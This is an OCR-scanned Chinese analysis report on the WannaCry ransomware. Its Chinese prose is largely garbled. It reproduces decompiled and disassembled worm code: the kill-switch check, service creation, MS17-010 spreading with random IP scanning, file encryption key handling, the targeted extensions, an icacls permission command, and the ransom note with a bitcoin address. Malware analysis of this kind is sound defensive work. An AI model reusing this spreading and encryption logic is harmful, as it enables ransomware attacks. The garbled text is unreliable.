ENEmE WannaCry [ RETARSHT

TR, BRevleEaD



— R ettt 3
—. B R D T ettt 6
21 BEEERTEZRIHT © oo 6
22, HEFREIBDTEDIIHT | oo ses 15
=. FF“WannaCry” T2 FHATTR B . .ovoeeeeeeeeeeeeeeeee ettt ettt 22
m. B S ettt 25

RANSOM BEIJING HUORONG NETWORK TECHNOLOGY CO., LTD.



—. ZIR
58128, £ERNEIZRmES WannaCry EBISERIE 7XIEZIE" ( EternalBlue ) £t
FeENER  EREREEE. RE. fE. BT, AT, B8, #mFaRD
ExRDEZAMEL T, KEINTSTIAIFIAZRE IR E , BRIBVEE 2%
BR' , MEAZFFENIEFRTEN

K ERBNEEERR. BRELIIER. ZEMAFPESAE B EEXNEMRSS
HEERIERE , BLESIAZINR, BRIZES | eRRAELIMAITIRS | FiE
BRGNS,
REWL T HMER

B% WannaCry ISR ERIEM , EXHRBHRIIEMNIE , IRFEFRR  RERRXNEER

BILBRISHERR | EXE S, ERIREXATIEIMRIST , 5% WannaCry IdHY
FFRIBERKImAR RIX T 4,

WannaCry S FE— stk |, ARSFE T ARWMAENEZEEXN T , |
IRMELSAN AR TR |, FRUABFRMES M TS | RO REIF R ISE XA S
NIRRT A SEINE.

ETMNERENSHBE L EXLERBY , BARUZAERS  UhEZES
MRk, —E22] BRI BETIR" EXRE NHIRETR" , JLUIKE—24K
MIBRRYSS |, (B2 ERBIR,

EymE R INE SRR X e BliRRE S | FRLFEEI HIREXRT BIKE
JRIAARINZ 4RI BE, (BRRIRSXIHRFRUSLSURIFIT TINE | SEHEMERIIR
I HEIRRE S | SULSCIRAENRER. BEERSITEUsT |, IKEXTRKES
ERYaTREld = B EFER.

(G E NG EYSER

EXALIE=RARDIMER LI | ZHESDIERE D MZRSED | BIERTEEDRE
HURES | fad B B INE S,

HL , BRBESE—MELATENRS. BINEBEFHMHTER , BEEHEY
MEERLERFFR, ORRSHIEE LN A T RIRNEEEERZTEB(NSA) tiFaY
Windows SMB iztgimiEA] i TR /KB & Kt TEE.
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EE  BRAEIE TETSERES
hxxp://www.iugerfsodp9ifiaposdfjngosurijfaewrwergwea.com UNERIZIFZ PI LR INIE
B, WEEELE, MR DAEETEND  NeLRnmsiks | £EENSINHITE
}%O

BELIEXNHFTHAX LR  BRSHIWETHAF , 90X, 2%, XTFFRE
FRBEZWRSHIEE R, RISk eI B RAIZI RS,

ZEZWEAFRE

HEIER 2RSSR EZ ARG TUWAIFAE R , BN N ARPZREYRER
L TEBMIMSERGHAINEEERIBE | KRB S22 BENBFR.

Bt 1%ms RBE Windows REHIERK , JLFATER Windows RFUISRIBIT#NT |,
#H=#IsE, M Windows Vista, Windows Server 2008, Windows 7. Windows Server
2008 R2, Windows 8.1, Windows Server 2012, Windows Server 2012 R2. Windows
Server 2016 Wi , AR R T BaE#HskZesx 7 X MAVEFN T, AJLARKENZRS

=
=,

Windows10 2RZEH , BTERZZBANFTFBENEFN , FFLARESSIZHmE0,
AT , Unix, Linux, Android #{ERES , b A HE,

B , BeRlX MasEIHZinOEEERNTEAME AN TEE  BEEETA AN A
IRBECEAENIRERFAN T AT ENBRANR SRS , MBI ARSI AT
BR , IAaSRRE AN EREK T,

KEGPEIFEHE R WannaCry

Bal , X IER " SREICETIAREGSR | L, XL TXRIEEE KBRLH:
HEELD , "KFLZE2PE ERRKEIE SRS, BB TG F
REEFTARABRIAI A, BERIZHS.

B58 128, WannaCry im5—H , FVMEIIBERAMVERE , BREE , HeEiE2EW
T 20 FTEMEZAINENSEIC, #IEESH | KGELERIRIPMBAY " WannaCry &
FERARY TR, (EEIXLEDITAI 12 T EBEENANENRL , RIFEETE
IR, KLW =R FEEIFAR , BRnd2E EIFR AT,
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RIMFAFIEE NS R R R EIERFRA | AR EE L EAMEIKRIR,
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—. EFADih

LREH IS ¢

1 RIS BTESGE  FERLRES.
2. WRFEBHS , MERFHEBES,

2.1 BERIBVFMAT

1. BERAEETELSSERETS - hxxp://www.iugerfsodp9ifiaposdfihgosu
rijffaewrwergwea.com INSRZIHE T LARINIER: | MERRE.

; int _ stdcall WinHain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCndLine, int nShowCmd)|
_WinHain@16 proc near ; CODE XREF: start+12Fyp

= byte ptr -56h
dword ptr -17h
dword ptr -13h
dword ptr -BFh
duword ptr -BBh
duord ptr -7
word ptr -3
o byte ptr -1
hInstance dword ptr 4
.text:88408148 hPrevinstance duord ptr 8
1pcmdLine duword ptr 8Ch
nShowCnd = dword ptr 18h

sub esp, 58h
push esi
push edi
moy ecx, OEh
nou esi, offset aHttpWuw iugerf ; “http://www.iugerfsodp9ifjaposdfjhgosuri®...
lea edi, [esp+58h+szUrl]
zor eax, eax
rep mousd
moush

[esp+58h+var_17], eax

[esp+58h+var_13], eax

[esp+58h+var_F], eax

[esp+58h+var_B]., eax

[esp+58h+var_7]. eax

[esp+58h+var_3], ax

eax ; dwFlags

eax ; 1pszProxyBypass

eax ; 1pszProxy

1 ; duAccessType

eax ; lpszAgent

[esp+6Ch+var_1], al

ds:InternetOpenfn

8 ; duContext
840000000 ; duFlags
] ; dwHeadersLength
ecx, [esp+6hh+szUrl]
esi, eax
8 ; lpszHeaders
ecx 5 1pszUrl
esi ; hlnternet
ds:InternetOpenUrla
edi, eax
esi ; hinternet
esi, ds:InternetCloseHandle
edi, edi
short @EEexit
esi ; InternetCloseHandle
8 ; hinternet
esi ; InternetCloseHandle
worm_main
edi

FFIXAKll Switch"BIFTEMES ERIRD LR |, FATASERT T FAIAERE
= FARNFERA TNz E, XMFEZ N TFERERERERE , B
ERTEBRIIADAREL KNl Switch"B9REAS | mmsHixBitEEmk. BiE
ir%., 54, MRERATWNEETEL E | AL TU B AL
k, XEAEITFER  MELINUESBITTFEE. AL, BEXE K
R"BYKill Switch" BRHFAMER |, ARG TSR EE SR T .
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2. MR EARFETZRD , WELREHEERS , RSP THFIFERE
LETHHENAIREZR |, SE0H - -m security , HEFIIRS.

create_vir_service proc near ; CODE XREF: install_service_and_drop_ransomjp

bin_path = byte ptr -184h

sub esp, 164h
lea eax, [esp+184h+bin_path]

push edi

push of Fset FileName

push offset Format %5 -m security”
push eax Dest

call ds:sprintf

add esp, BCh

push BFB883Fh duDesiredAccess
push a 1pDatabaseName
push a 1pMachineName
call ds:0penSCHanagerA

mou edi, eax

test edi, edi

jz short loc_487CCA
push ebx

push esi

push a

push a

1pPassword
1pServiceStartHame
push a 1pDependencies
push a 1pdwTagld

lea ecx, [esp+12Bh+bin_path]

push a
push ecx
push 1
push 2

dustartType

push 18h duServiceType

push BFB1FFh duDesiredAccess
push offset DisplayHame ; icrosoft Security Center (2.8) Service”
push offset ServiceMame ; "mssecsuc?.@"
push edi 5 hSCHanager

call ds:CreateServicen

mov ebx, ds:CloseServiceHandle

mou esi, eax

test esi, esi

jz short loc_4B87CBB

push a ; lpServiceRArgVectors
push a ; duHumServicefrgs
push esi ; hService

call ds:StartServicen

push esi ; hSCoObject

call ebx ; CloseServiceHandle

3. BREIRER) CA\WINDOWS HRETH tasksche exe (1ZIEF2#3%m
5) , FPBHEE
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RANSOM

hRsrc = FindResourcef{@®, (LPCSTR)1831, Type R);
hRsrc_copy = hRsrcj
if ( hRsrc )

hrsrc_global = LoadResource{d, hRsrc);
if { hrsrc_global )

rsrc_data LockResource{hrsrc_global);
if ( rsrc_data )
{
rsrc_data size = SizeofResource{®, hRsrc_copy);
if ( rsrc_data_size )
{
c_windir_tasksche_exe =
memset(&ui3, @, 6x100u);
vl = 8;
vi5 a;
c_windir_geriuwjhrf = 0;
menset(&ui17, @, Bx100u);
vi8 = 8;
v19 'H

sprintf{&c_windir_tasksche_exe, aCSS, aWindows, aTasksche_exe);

sprintf(&c_windir_geriuwjhrf, acSQeriuwjhrf, aWindows);
HoveFileExA(&c_windir_tasksche_exe, &c_windir_geriuw

hrf, MOVEFILE_REPLACE_EXISTING);

hfile = CreateFileA_0(&c_windir_tasksche_exe, BENERIC_WRITE, 0, 8, 2u, 4u, 0);

if { hfile *= (HANDLE)-1 }
{

WriteFile({hfile, rsrc_data, rsrc_data_size, (LPDWORD)}&-src_data, 8);

CloseHandle @(hfile);

ProcInfo.hThread = @
ProcInfo.dwProcessid
ProcInfo.duThreadld = 8;
memset(&StartInfo.lpReserved, 0, 8x4Bu};
ProcInfo.hProcess = 8;

strecat(&c_windir_tasksche_exe, (const char =)&off_u31348);

StartiInfo.c 68;
StartInfo.wShowtindow = 8;
StartInfo.dwFlags = 129;

if { CreateProcessA{0, &c_windir_tasksche exe, 8, 0, 0, OxB000BOOu, B, O, &StartInfo, &ProclInfo) )

{
CloseHandle_B{ProcInfo.hThread);
CloseHandle B{ProcInfo.hProcess);

4. ERHESRSENE  SRAB MS17-010 imEEiE, (D MR
&, —MEREMEE B IPEAMEE. W NEFR

HGLOBAL spread_in_net{)

{
HGLOBAL result; // eax@i
void =u1; // eax@2
signed int v2; /7 esi@y
void =u3; // eax@5

result = init_res{};
if { result )
{

v1 = (void =)}beginthreadex{8, 8, spread_in_LAH, 8, 8, 8});

if (vl )
CloseHandle{vi});

vz = 8;

do

{

v3 = (void =)beginthreadex{8, 8, spread_in_WAN, v2, 8, @);

if { v3 )
CloseHandle{v3};
Sleep(Bx7DBuj;
+ey2;

¥
while { w2 < 128 };
result = 8;

H

return result;

b

BRI EE 2 U T E]
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int spread_in_LAN()
<

unsigned int i; /7 edi@1

_DUWORD =vwi; // eaz@E2

void =u2; // esi@7

char vs; // [sp+13h] [bp-2Dh]@A
char vw5; 7/ [sp+14h] [bp-2Ch]@E1
void =Memory; // [sp+18h] [bp-28h]E1
int v7; /7 [sp+1Ch] [bp-24h]&@1
int v8&; /7 [sp+26h] [bp-28h]E1
char v9; // [sp+24h] [bp-1Ch]@1
void =u18; // [sp+28h] [bp-18h]@1
int vi1; /7 [sp+2Ch] [bp-14h]@1
int v12; // [sp+38h] [bp-1Bh]@1
int v13; 7/ [sp+3ch] [bp-4h]@i

v9 = ul;
vid a;
vl1 = 8;
vi2 = B;
(TR a;
uS = ul;
Hemory = B3

1;
info({{int)&u9, {(int)&u5);
;eri )

if ( tulB || i »>= (vl - (signed int)u1@) >> 2 )
break;
if { count > 18 )
{
do
Sleep{188u);
while { count > 18 );
vl = uil;
¥
v2 = (woid *)beginthreadex(8, 8, use_ms_17_818, vi[i], 8, 8);
if { w2 )

InterlockedIncrement{&count);
CloseHandle{u2);

¥
Sleep(50u);

H

endthreadex(8);
call_free(Menory);
Hemory = 0;

v7

ug = B;
call_free(uviB);
return B8;

REARBRFTSTIAN P, EBERE N BEMNNWERR | AR1E
WOR=II T, AXCHBANT
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RANSOM

while { 1 )
{
do

if ( GetTickCount{) - time_1 > 2480000 )

flag 1

= 1;

if ( GetTickCount{) - time_1 > 12868808 )

flag_2

= 1;

if ( tFlag_1)

break;

if ( a1 >= 32 )

break;

ug = call_random{v7};

u7 =
random_a

while ( u8 %

BxFF

(unid #*)255;
= ug %

BxFF;

== 127 || random_a >= 224 );

if ( Flag_? e& al < 32 )

{

u? = call_random{v7};

u7 =

random_b

random _c =
random_d =

sprintf(&random_ip_address,

ulfddr_1 =

break;
LABEL 23:
Sleep(180u
¥
flag_1

= B;
flag_2 =

=ue %

{uoid #*)255;

BxFF ;

call_random{v?) % BxFFu;
call_random({void =)BxFF);

inet_addr{&random_ip_address);
if { call_connect{ulnddr_1) > 8 }

I H

u21 = GetTickCount();

index = 1;
while { 1 )

ab_D D D, random_a, random b, random c, random d % BxFF);

sprintf{&random_ip_address, aD_D_D_D, random_a, random_b, random c, index);

ulAddr

= dinet_addr(&random_ip_address);

if { call_connect{ulfAddr) <= 8 )
goto LABEL_28;

v15 = (void *)beginthreadex{8,

vid = vi5;
if { vi5 )
break;

SMB

8042E42C
BB42E43C
BO42E 440
BOB42E45C
BO42E46C
BO42E47C
BO42E48C
BA42E49C
BB42E4AC
B842E4BC
B842E4CC
B842E4DC
BO42E4EC
BO42E4FC
80842E50C
BO42ES1C
BB42E52C
B0842E53C
BO42E540
BB42E55C
BOL2ESAE
BOB42ES7C
BOB42E58C
B842E59C

Worm w51 PE 4 E 58D
SRIZE : x86 MRAHI payload , A/)\ 0x4060 F1 x64 ArANAY

Payload ,

payload , K/)\ Oxc8a4,

M Payload #iR RERBEEREMETBEMRTIRIIT PE shSEX
%, WEREWER , SWERMRARF , HRFFHBIHEES Payload FFTH
Worm fZEBE |, /EpBERILE Payload , fSIBUI FEIFT~ !

@, MS17_818, uladdr,

a, 8);

RN EIRR AR , ANNERS

60 18 01 28| .. _cijSHBs....HE
60 60 2F 4B| ... .. .. ....... /K
00 01 680 08| . .35 .- -7 4, -

60 60 00 26| .. ... ...... @...&
32 30 30 30| ..._Windouws 2000
73 20 32 30| 2195.Uindous 20

PC HETWORK PROGR
AM 1.8, LANMANT .
8. ¥indows for W
orkgroups 3.1a.

sSEEX | RBEIRRAY

BEIJING HUORONG NETWORK TECHNOLOGY CO., LTD.



dwnytes

£ XREF
dwBytes
uFlags

Anit_payloaa+anty

init_payload+angd

REF = init_payload+6nty

easnn]

hTenplateFile
dwF Lagzandatt
awe,

reationpisposition
1pSecurityattributes

init_payloadsGE
izeHigh

Byteskead]
1pouerlapped
1pHumber0FBytesRead

Hunber0FBytesToRead

ad+1197]
[eai+n]

B Payload A0
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x64_Payload_stub

Worm

x86_Payload_stub

x64_Payload_stub

Ransom module

Worm

x86_Payload_stub

x64_Payload_stub

Ransom module

x86_Payload_stub

x86_Payload_stub

x64_Payload_stub

Ransom module

gl

&
1=
B

, &BiEFRgE— DWORD 2%5

FEEAIBIE Payload BIRIREINT
KN, ZIEHRRERS.

- plorer Vil - [ payload - o X
File Settings ?
& H @ _payload_x86 x
- oo W "
1[5 File: _payload_x86 {3 101- fang: 1033] ‘ B & = ‘
2 o Header Difest | 0 1 2 3 4 & € 7 & 9 & B C D E F | Ascai
1 Headers 00000000 | 00 DO 38 00 4D 5& 50 00 03 00 00 00 04 00 00 OB | B8 HZ .1...1
t— [ Section Headers 00000010 | FF FE 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 | §. ..
t— C3Bxpot Directory 00000020 | 00 D0 00 G0 00 00 @0 00 QO 0@ 00 0O 0@ 00 00 OO | ... .
L S import Drector 00000030 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO
" o 00000040 | F§ 00 00 00 OE 1F B OE 00 B4 09 CD 21 B8 01 4C |w...1 21, .11 1L
[— ©)Resource Directory 00000050 | CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 | [iThis progran.c
t— (SRelocation Directory 0000000 | 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20
L @ Address G 00000070 | 44 4F 53 20 6D 6F 64 65 2E OD 0D 0& 24 00 00 0B
e 0000000 | 00 D0 00 OO0 55 3C 53 90 11 5D 3D C3 11 5D 3D C3
00000090 | 11 5D 3D C3 6A 41 31 C3 10 ED 3D C3 32 41 33 C
00000DAD | 15 5D 3D C3 7E 42 37 C3 1a 5D 3D C3 7E 42 36 C3
0000000 | 10 5D 3D C3 7E 42 39 €3 15 5D 3D C3 DZ 52 60 C3
000000C0 | 14 5D 3D C3 11 5D 3C €3 4a 5D 3D C3 27 7B 36 C2
0000000 | 10 5D 3D £3 D 5B 3B €3 10 D 3D C3 52 69 63 68
00000DEG | 11 5D 3D €3 00 00 00 00 00 00 00 00 0O 00 00 OB
00000DFD | 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 OO
Na
L— 4 upx urility .
= CFF Explorer VIl - [ payload x64] - o x
File Settings ?
@ H @ _payload_x64 x
[ " oW A
[Z)Fle: _payload_x64 9 101 - lang: 1033] ‘ B & = ‘ o
= &1 Configuration Fies
Offsst | 0 1 2 3 4 & 6 7 & 8 A B C D E F | Asoii
00000000 | 00 DO 38 00 4D GA 90 00 03 00 00 00 04 00 00 00 | B8 .HZ .1...1
2 Section Headers ] 00000010 | FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 | g.., @
|— £ Expot Drectory 00000020 | 00 DO 00 00 00 00 00 00 00 DO 00 00 00 00 00 0D
[ 5 mpor Diector 00000030 | 00 00 00 00 D0 00 D0 00 00 DO 00 00 00 00 00 0D
o v 00000040 | FE 00 00 00 OE iF Bk OE 00 E4 09 CD 21 B8 01 4C |e...1 &1.°.11.L
[ (£ Resource Directory 00000050 | CD 21 54 68 69 73 20 70 72 BF 67 72 b1 6D 20 63 | IiThis progran.c
Exception Directory 00000060 | €1 6E 6E €F 74 20 62 65 20 72 75 GE 20 69 6E 20 | annot.be.run.in
[ 00000070 | 44 4F 53 20 6D 6F 64 65 2E 0D 0D Oa 24 00 00 0D
3 Reocaton Directry 00000080 | 0D 00 00 00 55 3C 53 90 11 5D 3D C3 11 5D 3D €3
[— b Address Converter 00000090 | 11 5D 3D €3 6A 41 31 C3 10 5D 3D C3 92 41 33 C3
Dependency Walker 000000A0 | 15 5D 3D C3 7E 42 37 C3 14 5D 3D C3 7E 42 36 C3
|— %, Hex Edtor 0D0ONED | 10 5D 3D C3 7E 42 33 C3 15 5D 3D C3 D2 52 40 C3
I .r 000000CD | LA 5D 3D C3 11 5D 3C C3 4A 5D 3D C3 27 7B 36 C3
Identifier 000000D0 | 10 5D 2D C3 D& 5B 3B C3 10 5D 3D C2 E2 69 63 €8
[— ) impont Adder 000OO0ED | 11 5D 3D C3 00 00 00 00 00 D0 00 0O 00 00 00 0D
|— ) Quick Disasscmbler 000000FD | 00 00 00 00 00 00 D0 00 00 DO 00 00 50 45 00 0D
[ % Rebuider 00000100 | 4C 01 04 00 CC BE EF 4C 00 D0 00 00 00 00 00 00
| — %), Resource Editor
v

SRIEfER MS17-010 s , 1813 APC
A9 Lsass.exe , F#1T Payload shSERISH
B, NREMERE
17, AFERPR

HIGEASSERRIEITEN
R PlayGame , ZREAEEE
BOEW B H 1 EH, C:Windows\mssecsve.exe” ,
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signed int drop_uorn()

HRSRC hrsc; // eax@l

HRSRC w1; // edi@t

HGLOBAL v2; // eax@2

LPUOID u3; // esi@3

signed int result; // eax@s

DWORD w5; // ebx@6

HANDLE h¥ornFile; // edi@6

DWORD NumberOfBytesWritten; // [sp+8h] [bp-4h]E7

hrsc = FindResourceA(hModule, (LPCSTR)B8x65, Type):
vl = hrsc;
if ( hrsc && (u2 = LoadResource(hModule, hrsc)) %= 8 && (u3 = LockResource(u2)) %= B && SizeofResource(hHodule, ul) )
{
u5 = =(_DUWORD =)ul;
hWormFile = CreateFilen(Dest, GENERIC_WRITE, 2u, 0, 2u, 4u, 0);
if ( h¥ornFile *= (HANDLE)-1 )
{
WriteFile(hWornFile, (char =)u3 + 4, v5, &MumberOfBytesWritten, 8);
CloseHandle(hWornFile

b
result = 1;
e

else
result = 0;

return result;
H

int exec_worm()
{
struct STARTUPINFOA StartupInfo; /7 [sp+4h] [bp-5kh]@i
struct PROCESS_INFORMATION ProcessInformation; // [sp+48h] [bp—18h]@1

ProcessInformation.hProcess = 0;
ProcessInformation.hThread = 8;
ProcessInformation.
ProcessInformation.
memset{&StartupInfo.lpReserved, B, Ox40u);
StartupInfo.cb = 68;
StartupInfo.uShouwtindow [ H
StartupInfo.dwFlags = 129;
if ( CreateProcessn(®, worm file_path, 8, 8, 8, 6x8880886u, 8, 8, &Startupl &ProcessInformation) )
<
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);

i
return 8;
b3

int PlayGame()
{

sprintf(worm file path, Format, aWindous, aMssecsvc_exe);
drop_uorn();
exec_worn();
return 0
H

K ST ENB T
1 xEel ERResatrR == =2 |
® s rpe | ogan i & aFaEm oy S@ah )
WE - wEEe =Ewe assE A 5
EEE L2AE e BE B

=) (57 |sass.exe

Microsoft Corporation  Local Security Authority Process  C:\Windows\System32\lsass.exe

e s
\peesis ® x
o =53 i foid) =4t -
| hrdC5363.tmp - 554 ==
ZHE REE BRO) BEV  BEHH !

»

ANSI] 0x000020de: SizeofResource
ANSI] 0x000020£0: LockResource |
ANSI] 0x00002100: LoadResource

ANST] 0x00002110: FindResourced

0=00002120: CreateProcessd

0=00002130: KERNEL3Z. d11

0x00002140: sprintf

0=x00002148: MSVCRT. d11

0x00002156: free

0z0000215: _initterm

0x0000216a: malloc

0200002174 _adjust_fdiv

0x000021c2: launcher. d11

0x000021cf: PlayGame

0x00003014: C:\%s'%s

’ 0x00003020: WINDOWS

e L 1 ox 'This program carmot be run in DOS mode. ]
— [ANST] 0x00004354: . text —
BRI [ANSI] 0x0000427b: . rdata -
O i v
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W EN B SRE0EIRE , [R T SWE=R | £FR MS17-010
TREEHTERE | XTMEERZVAIREIMN 5K |, IXR1Z% E%MH?IEW\]K%ME}%ZQH’\J?E
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Hal , WEAK IP FERAFITEIERREEEANEIRE BN R ER TN
THHEN T 22200 , BB RELRSH T ARR | AFrcERET AN
%EZBZEE GNERIW R 2B S R ORI RRAY |, BRALE I EERRIEB KA

FEREAMNEERR L. B2 WLh—ERNEFERERIER AR
Hu ENEMENEL—KRBEN |, Bt —EREBETEANW_EAIERWEE xS
B B W EERAIX B,

2.2. IR/E WA FEDAT

1. ZEFSRPEETEEENESESYE |, FRERE"WNery@20!7"#E2 G
B —R S
a) taskdl.exe , MibxImAYER NAOETE * WNCRYT Y REIIGHT 314
b) taskse.exe , LMER session iz{THEEREF.
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session_id = input_session_id;
if ( input_session_id == -1 )

session_id = WTSGetActiveConsoleSessionId();
session_id_cop
if ( session_id

local_unwind2{&ms_exc.registration, -1):
return 8;
¥
H
else
{
session_id_copy = input_session_id;
»
if ( r({int (_ stdcall =){int, void =*))WTSQueryUserToken){session_id, &phToken) )
{
v16 = (char #)}&ms_exc.registration;
goto LABEL_52;
¥
if ( t((int (_ stdcall =){void %, signed int, _DWORD, signed int, signed int, void =x*))DuplicateTokenEx}(
phToken,
8x2p80808,
8,
1,

1,
&phHewTaoken) )

v16 = (char #)}&ms_exc.registration;
goto LABEL_52;

¥
nemset{&v22, 8, Bxhldu);
u21 = 3
u23 HinstaBDefault;
w24y 35
if ( t({int (__stdcall =){int =, void =, signed int))CreateEnvironnentBlock)(&v33, phHewToken, 1)
|| tCreateProcessAsUserA{phNewToken, lpApplicationName, @, 0, @, 6, 1624, v33, 0, &u21, &hHandle} )

{
LABEL 56:
v16 = (char #)}&ms_exc.registration;
goto LABEL_52;
H

C) uwnry, BBERER , BERS@WanaDecryptor@.exe,

g Wana DecryptOr 2.0
Qoops, your files have been encrypted! Enelish [~

‘What Happened to My Computer?
Your important files are encrypted.

Many of vour documents, photos, wideos, databases and other files are no longer accessible
hecauze they have been encrypted. Maybe vou are busy lookang for a way to recover your
files, but do not waste your time. Mobody can recover your files without our decryption
SETVICE.

| v

Payment will be raised on

5172017 14:06:25 Can I Recover My Files?
Sure. We guarantee that vou can recover all your files safely and easily. But you have not so
Time Left enough time.

F grees o You can dectypt some of your files for free. Try now by cliclang <Decrypt>.

But 1f vou want to decrypt all your files, you need to pay.
You only have 3 days to subtmit the payment. & fter that the price will be doubled.
Alzo, if you don't pay i 7 days, you won't be able to recover your files forever. -
Your files will be lost on We will have free events for users who are so poor that they couldn't pay m 6 months.

5/21/2017 14:06:25 How Do I Pay?
Time Left Payment iz accepted in Bitcoin only. For more information, click <4bout bitcom>.
Please check the current price of Bitcomn and buy some bitcomns. For more mformation, click

<How to buy bitcoins>,
And eend the correct amoint tn the addrecs enecified in this srindomwe

Send $300 worth of bitcoin to this address:

About b bitcoin
Pleas el a1d  12t9YDPgwueZ9NyMgw519p7 AABisjre SMw

Contact Us

d) bwnry IRERXIR.
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e) swnry , BEFRRHBEMNEEES, REFEBHRRSHREET

fEk" , FBEEIT tor.exe RS ESHITIEES.

30 bytes in 18 fil

) cwnry , FREHASEPIHER.

g) twnry , BEEEIINNE XM EZZERE,
h) rwnry , #1Z Q&A,
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Hr wm’yﬂ‘

1 Q: What's wrong with my files?

3 LA: Ooops, your important files are encrypted. It means you will not be able to acceas them anymore until they are decrypted.
If you follow our instructicns, we guarantee that you can decrypt all your files quickly and safely
Let's start decrypting!

What de I de?

=2

9 B: First, you need to pay service fees for the decryption
Please send %3 to this bitcoin address: %z

Next, please find an application file named "$3". It is the decrypt software.
Run and follow the instructicns! (You may need to disable your antivirus for a while.

How can I trust?

=

7 A: Don't worry about decryption
We will decrypt your files surely because nobody will trust us if we cheat users.

If you need our assistance, send a message by clicking <Contact Us> on the decryptor window.

2. BN TERFIE AR AT ENENR, a<SfTaUF ¢
icacls . /grant Everyone:F /T /C /Q

3. BRE twnry HEUESRI B T2IEZEENIEE | BEEEIY
LoadLibrary 0 GetProcAddress BREUERRIZENSEFIISE R EF TEINE
24,
VEAREN NSRS , WTNER

\

if ( acquire_crypt(f, @, @) )
{

dll_size = 8;
1ib_base = (void =)crypt_dll_data{&encrypt_object, aT_wnry, (int)&dll_size};
if { lib_base )
{
1ib_image base = load library(lib_base, dl1 size};
if ( lib_image_base )}
{
TaskStart_func_addr = (void (_ stdcall =)(_DWORD, _DWORD))get_proc_addr(lib_image base, aTaskStart);
if { TaskStart_func_addr )
TaskStart_func_addr{8, 8);

BREZIENT RSN IEFRERGFII RSA LB, ZEEA
CryptGenKey Apf—%H RSA &ERY Session key, ZE¥IXH Key BINHE
& CryptExportkey &4, BEAZE 00000000.pky X454, 4 Session key
HRROFASARBNIS N RSA RIB# TINE , FHfE 00000000.eky 21 R EF7R
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int _ stdcall leoad_public_key(LPCSTR pky_key file_name, LPCSTR eky_key file_name)
{

void *u2; /7 ecx@d

int v3; // esi@Ed

HGRYPTKEY v5; // esi@ly

ud = (int)u2;
if ( racquire_aes_rsa_context(v?) )
{

release_crypt_res{u3);

return B;

H

if ( pky_key file name )

{
if ( *get_1_phkey_from_file(pky_key file_name) )
{

if { *CryptImportKey(
*(_DWORD =)(v3 + offsetof(st_crypt_info, hProv)),
(const BYTE =)&public_rsa_key 2,
Bx11bu,
a,
]
(HCRYPTKEY *){v3 + offsetof(st_crypt_info, phKey 2)))
|| tcall_cryptGenKey(s={ DWORD x){u3 + offsetof(st_crypt_info, hProv)), v3 + offsetof(st_crypt_info, phKey 1})
|| texport_key to_file(
*(_DWORD *)(u3 + offsetof(st_crypt_info, hProv)),
*(_DWORD *)(u3 + offsetof(st_crypt_info, phKey 1)),
PUBLICKEYBLOB,
pky_key_file_name) )

goto LABEL 19;

1

if ( eky key file name )
encrypt_hkey1 private by hkey2 tofile(u3, eky key file name};

if ( *get_1_phkey_from_file(pky_key file_name) )

{

LABEL_19:
release_crypt_res(u3);
return 8;
H

H

u5 = *=(_DWORD *){u3 + 12);

if ( u5 )
CryptDestroyKey{us);

else if ( *CryptImportKey(
*(_DWORD *)(u3 + offsetof(st_crypt_info, hProv)),
(const BYTE x)&public_rsa key 1,
8x114u,
a,

a,
(HCRYPTKEY =){u3 + offsetof{st_crypt_info, phKey 1))} }

{
release_crypt_res(u3);
return 8;

return 1;

i

NSRIBHEIRISUH FRAEAINEZRI S RRSIZRS |, NHNERS -

doc;.docx;.xls;.xIsx;.ppt;.pptx;.pst;.ost;.msg;.eml;.vsd;.vsdx;.txt;.csv;.rtf;.123;
-wks;.wkl;.pdf,.dwg;.onetoc2;.snt;.jpeg;.jpg;.docb;.docm;.dot;.dotm;.dotx;.xl
sm;.xIsh;.xlw;.xlt;.xIm;.xlc,.xltx;.xltm;.pptm;.pot;.pps;.ppsm;.ppsx;.ppam;.pot
x;.potm;.edb;.hwp;.602;.sxi;.sti;.sldx;.sldm;.sldm;.vdi;.vmdk;.vmx;.gpg;.aes;.A
RC;.PAQ;.bz2;.tbk;.bak;.tar;.tgz;.9z;.72;.rar;.zip;.backup;.iso;.ved;.bmp;.png;.g
if;.raw;.cgm;.tif;.tiff;.nef;. psd;.ai;.svg;.djvu;.m4u;.m3u;.mid;.wma;.flv;.3g2;.m
kv;.3gp;.mp4;.mov;.avi;.asf..mpeg;.vob;.mpg;.wmv:..fla;.swf..wav;.mp3;.sh;.cl
ass;.jar;.java;.rb;.asp;.php;.jsp;.brd;.sch;.dch;.dip;.pl;.vb;.vbs;.psl;.bat;.cmd;.js
;.asm;.h;.pas;.cpp;.c;.cs;.suo;.sln;.|df;.mdf,.ibd;.myi;.myd;.frm;.odb;.dbf;.db;.
mdb;.accdb;.sql;.sqlitedb;.sqlite3;.asc;.lay6;.lay;.mml;.sxm;.otg;.odg;.uop;.std
;.sxd;.otp;.odp;.wh2;.slk;.dif;.stc;.sxc;.ots;.ods;.3dm;.max;.3ds;.uot;.stw;.sxw;.
ott,.odt;.pem;.pl2;.csr;.crt;.key;.pfx;.der;

W SR ARE AN SHERDIRS | EEH SR E—FHITY
HER(E, CBA0TE
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if { wcscmp{FindFileData.cFileName, aRead_me_txt) )
if { wcscmp(FindFileData.cFileName, aWanadecryptor_exe_1nk) )}
if { wcscmp(FindFileData.cFileName, aWanadecryptor_bmp}) )

file_full path_copy = 8;
memset{&ull, B, Bx4EBu);
HIWORD(vi48) = B;
ui2 ret_ext_index_in_ext_list(FindFileData.cFileHame};
uhg ui2;
if { v12 t= {uchar_t =)&
&& vi2 *= {wchar_t =}1
&& (v12 || FindFileData.nFileSizeHigh > 8 || FindFileData.nFileSizelLow >= OxC80080088) )

wcsncpy{&Ffile_pame, FindFileData.cFileName, 8x183u);
wesnopy{&file_full_path_copy, &File_full_path, 8x167u);

u47 = FindFileData.nFileSizeHigh;

vl = FindFileData.nFileSizelow;

add_file_list{{int)&ptr_new node, {int)list_head, (int)&file_full_path_copy);

u7 = hFindFile;

while { FindHMextFileW{hFindFile, &FindFileData) };
FindClose{u?};
for { list_pos = =(_DWORD =*)1ist head; list_pos *= list_head; 1list_pos = {_DUWORD *)*list_pos )
{
